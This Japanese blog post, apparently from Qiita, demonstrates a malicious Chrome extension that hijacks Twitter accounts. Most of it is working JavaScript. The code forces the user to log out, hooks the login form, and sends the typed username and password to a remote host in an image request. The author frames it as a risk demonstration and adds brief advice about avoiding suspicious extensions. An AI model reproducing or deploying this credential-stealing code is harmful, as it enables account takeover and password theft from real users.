LoginSignup
21
15

More than 5 years have passed since last update.

Chrome拡張の悪用の危険性を試す

Posted at

はじめに

前にChrome拡張のマルウェア疑惑で話題になっていたので、今更ですが、その危険性を試してみました。

悪用はしないでください。

Chrome拡張を用いたTwitterアカウントの奪取

身近なTwitterアカウントの奪取を試します。

詳細は書きませんがmanifest.jsoncontent_scriptsを使います。

アカウントを取る方法は、対象ユーザがログインした瞬間を狙います。
ですが、すでにログインしている可能性が高いので下記のようなコードで強制ログアウトさせます。

demo.js
/**
 * twitterを強制ログアウト
 */
function logout() {
    var signout_btn = document.querySelector('#signout-button .dropdown-link')

    if(signout_btn)
        signout_btn.click()
}

ログアウトさせたら、ログインの瞬間発火するイベントにコールバック関数を登録します。
steal関数は、テキストボックスの値(user_id & password)を取得し、指定のwebサーバにリクエストを送っています。

demo.js
/**
 * アカウントの奪取を待機
 */
function listen() {
    var submit = document.querySelector('.submit')
    ,   id     = document.getElementsByName('session[username_or_email]')[0]
    ,   passwd = document.getElementsByName('session[password]')[0]

    submit.addEventListener('click', steal, false)

    id.addEventListener('keydown', function(e) {
        if(e.keyCode === 13)
            steal()
    }, false)

    passwd.addEventListener('keydown', function(e) {
        if(e.keyCode === 13)
            steal()
    }, false)
}

/**
 * アカウントの奪取
 */
function steal() {
    var id     = document.getElementsByName('session[username_or_email]')[0]
    ,   passwd = document.getElementsByName('session[password]')[0]

    id     = id.value
    passwd = passwd.value

    var img = new Image()
    img.src = host + '?id=' + id + '&passwd=' + passwd

    // cookie書き込み
    var expire = new Date();
    expire.setTime(expire.getTime() + 1000 * 3600 * 24);
    document.cookie = 'hack=hack; expires=' + expire.toUTCString();
}

今回は、PHPのビルドインサーバーをwebサーバーとします。
対象ユーザがログインすると、ユーザIDとパスワードがGETパラメータとして送られてきます。

server.png

とても簡単なステップでアカウントの奪取ができました。
対象のユーザにChrome拡張をインストールさえ、させることができればやりたい放題できそうですね。
実際には、ここから難読化とかするんでしょうが、今回は自身で試すだけなのでやりません。

さいごに

怪しいChrome拡張をインストールしないようにする対策としては、怪しい権限を要求するものはインストールしないとか実際にコードを読むとかでしょうか...

なんども言いますが、今回は危険性を試す為のものなので悪用はしないでください。

manifest.jsonなどは排除していますが、今回のコードは
https://github.com/yuki540net/chrome-extension-security
にあります。

コードを確認したい場合はご覧ください。

21
15
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
21
15